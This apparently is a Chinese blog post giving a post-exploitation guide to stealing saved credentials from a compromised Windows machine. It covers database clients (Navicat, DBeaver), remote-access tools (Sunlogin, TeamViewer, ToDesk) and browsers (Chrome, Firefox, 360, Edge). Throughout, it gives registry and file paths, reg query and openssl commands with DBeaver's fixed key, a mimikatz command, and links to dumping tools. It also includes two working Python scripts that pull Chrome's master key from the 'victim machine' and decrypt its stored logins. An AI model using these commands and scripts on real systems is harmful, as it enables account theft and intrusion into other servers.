内网常用工具密码获取2

前言

在拿到系统后,系统中可能存在连接其他服务器的软件,或浏览器等
这时候就需要去解密像ssh这类的连接软件,所有这里我对大部分软件的密码获取做总结

数据库

Navicat是一套可创建多个连接的数据库管理工具,用以方便管理 MySQL、Oracle、PostgreSQL、SQLite、SQL Server、MariaDB 和/或 MongoDB 等不同类型的数据库,并支持管理某些云数据库,例如阿里云、‎腾讯云。
连接信息是存在注册表里面

数据库 注册表位置
MySQL HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers<your connection name>
MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers<your connection name>
MicrosoftSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers<your connection name>
Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers<your connection name>
PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers<your connection name>
SQLite HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers<your connection name>
MongoDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers<your connection name>

这里就只测下mysql 其他都一样

离线工具:https://github.com/HyperSine/how-does-navicat-encrypt-password/tree/master/python3
我们需要的是注册表中的Pwd字段的类容
python NavicatCipher.py dec 5658213B

使用在线工具SharpDecryptPwd进行解密

DBeaver

dbeaver是免费和开源(GPL)为开发人员和数据库管理员通用数据库工具。易用性是该项目的主要目标,是经过精心设计和开发的数据库管理工具。

连接时勾选保存密码到本地

C:\Users\oneseven\AppData\Roaming\DBeaverData\workspace6\General.dbeaver\目录里.json文件中存放着数据库的连接信息和密码,credentials-config.json里是密码但做了加密

离线解密:使用openssl解密,将credentials-config.json文件放入当前目录
openssl aes-128-cbc -d -K babb4a9f774ab853c96c2d653dfe544a -iv 00000000000000000000000000000000 -in credentials-config.json | dd bs=1 skip=16

远程

向日葵

日葵远程控制软件是一款免费的集远程控制电脑手机、远程桌面连接、远程开机、远程管理、支持内网穿透的一体化远程控制管理工具软件

需要获取的为两处,Fastcode:本机识别码 Encry_pwd:本机验证码
配置路径
安装版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
便携版(绿色版):C:\ProgramData\Oray\SunloginClient\config.ini
注意高版本的向日葵配置是放在注册表中

reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo

使用离线工具:https://github.com/wafinfo/Sunflower_get_Password
python SunDecrypt.py
输入encry_pwd

使用在线工具SharpDecryptPwd

TeamViewer

TeamViewer是一个能在任何防火墙和NAT代理的后台用于远程控制的应用程序,桌面共享和文件传输的简单且快速的解决方案

大多数工具都是去获取进程的句柄找到ID和PASS,也有一部分是从内存中得到的。

使用工具:https://github.com/attackercan/teamviewer-dumper

github上有个项目:https://github.com/ianxtianxt/teamview
就是将tv丢到目标机器然后获取密码

TV_V2.exe在目标上运行会在当前目录生成生成3个文件
然后请运行生成的gps.exe文件之后会生成vtr.txt里面有ID和pass
连接请用windows server然后安装压缩包里的TeamViewer_Setup.exe文件

ToDesk

ToDesk 是一款多平台远程控制软件,支持主流操作系统Windows、Linux、Mac、Android、iOS跨平台协同操作。

配置文件在安装目录下的config.ini文件,这里我是默认安装的
C:\Program Files (x86)\ToDesk\config.ini

tempAuthPassEx=7e58d8c6a5d99dc4a6fd80425f1ca5cd8f4d6f9fd7ca49a47820831b0e6953ae6e9fe248645c1d40c7511446e764aac3515b609b2b78 就是临时密码

利用方法很简单
直接将受害机的临时密码复制出来,替换到本机的config.ini文件中,然后重启就可以看到明文密码了

浏览器

Chrome

谷歌浏览器Google Chrome将简约的界面设计与先进的技术相融合,让网络浏览变得更快速、安全而且简便。
80版本前后的加密方式不一样,测试用的新版本的

保存的密码有两个

登录账户密码文件位置
C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Default\Login Data
cookie存储位置
C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Default\cookie
浏览历史储存位置
C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Default\History
加密key的位置
C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Local State
这是一个sql文件可以直接用数据库工具打开,密码还是加密的

直接用mimikat在线获取google密码
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect

github上有许多在线项目可解密大部份浏览器这里随便用一个
https://github.com/moonD4rk/HackBrowserData/tree/v0.3.7

根据需求下载,我这是windows直接运行就行

半离线获取
生成exe放目标机器运行 会获得一个masterkey.txt文件

import win32crypt
import os
import json
import base64

with open(os.environ['USERPROFILE'] + os.sep + r'AppData\\Local\\Google\\Chrome\\User Data\\Local State', "r") as f:
    local_state = f.read()
    local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key_w_Cry = master_key[5:]
master_key = win32crypt.CryptUnprotectData(master_key_w_Cry, None, None, None, 0)[1]
print(master_key)
with open("masterkey.txt",'wb') as msf:
    msf.write(master_key)

本地运行加上受害机上的masterkey.txt文件和Login Data数据库文件获取密码

import os
import sqlite3
from Crypto.Cipher import AES


def get_master_key():
    with open("masterkey.txt",'rb') as msf:
        buf = msf.read()
        print(buf)
        return buf
def decrypt_payload(cipher, payload):
    return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
    return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(buff, master_key):
    try:
        iv = buff[3:15]
        payload = buff[15:]
        cipher = generate_cipher(master_key, iv)
        decrypted_pass = decrypt_payload(cipher, payload)
        decrypted_pass = decrypted_pass[:-16].decode() 
        return decrypted_pass
    except Exception as e:
        return "Chrome<80"
if __name__ == '__main__':
    master_key = get_master_key()
    conn = sqlite3.connect("Login Data")
    cursor = conn.cursor()
    try:
        cursor.execute("SELECT action_url, username_value, password_value FROM logins")
        for r in cursor.fetchall():
            url = r[0]
            username = r[1]
            encrypted_password = r[2]
            print(encrypted_password)
            decrypted_password = decrypt_password(encrypted_password, master_key)
            print("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n")
    except Exception as e:
        print('error')
        pass
        cursor.close()
        conn.close()
        try:
            os.remove("Loginvault.db")
        except Exception as e:
            pass

离线获取http://www.nirsoft.net/utils/chromepass.html
需要三个文件Login Data,Local State和S-1-5-21-xxxx文件

C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\Default\Login Data
C:\Users\oneseven\AppData\Roaming\Microsoft\Protect\S-1-5-21-xxxx
C:\Users\oneseven\AppData\Local\Google\Chrome\User Data\ Local State

需要注意的是,要确认两次才会显示出密码

firefox

Firefox 浏览器 选择会保护重要数据的浏览器 没有晦涩难懂的隐私保护政策,更不向广告商预留后门,纯粹是一款闪电般快、不会出卖您的浏览器。

火狐有一个主密码,这里测的是没有主密码的情况下

浏览器保存信息的位置
C:\Users\oneseven\AppData\Roaming\Mozilla\Firefox\Profiles\xxx.default-release
两个比较关键的文件
C:\Users\oneseven\AppData\Roaming\Mozilla\Firefox\Profiles\xxx.default-release\key4.db
C:\Users\oneseven\AppData\Roaming\Mozilla\Firefox\Profiles\xxx.default-release\logins.json

logins.json的文件类容就是保存的密码,只不过做了加密

使用离线工具:https://github.com/unode/firefox_decrypt
需要注意的是使用的是python9+以上
直接将xxx.default-release文件夹复制到自己的电脑

也可以直接用HackBrowserData解密

360浏览器

360浏览器一般指360安全浏览器。 360安全浏览器(360 Security Browser)是360安全中心推出的一款基于IE和Chromium双内核的浏览器,是世界之窗开发者凤凰工作室和360安全中心合作的产品。

敏感文件位置,assis2.db就是存储着密码的文件
C:\Users\oneseven\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis

还需要MachineGuid
reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY" /v "MachineGuid"

离线工具:https://github.com/hayasec/360SafeBrowsergetpass
Safe360Browsergetpass.exe <assis2.db文件位置> <MachineGuid>

Microsoft Edge

Microsoft Edge(简称ME浏览器)是由微软开发的基于 Chromium 开源项目及其他 开源软件的网页浏览器。

win10自带的浏览器,存了两个密码

直接用在线工具HackBrowserData解密

posted @ 2022-04-01 11:05  one-seven  阅读(940)  评论(0编辑  收藏  举报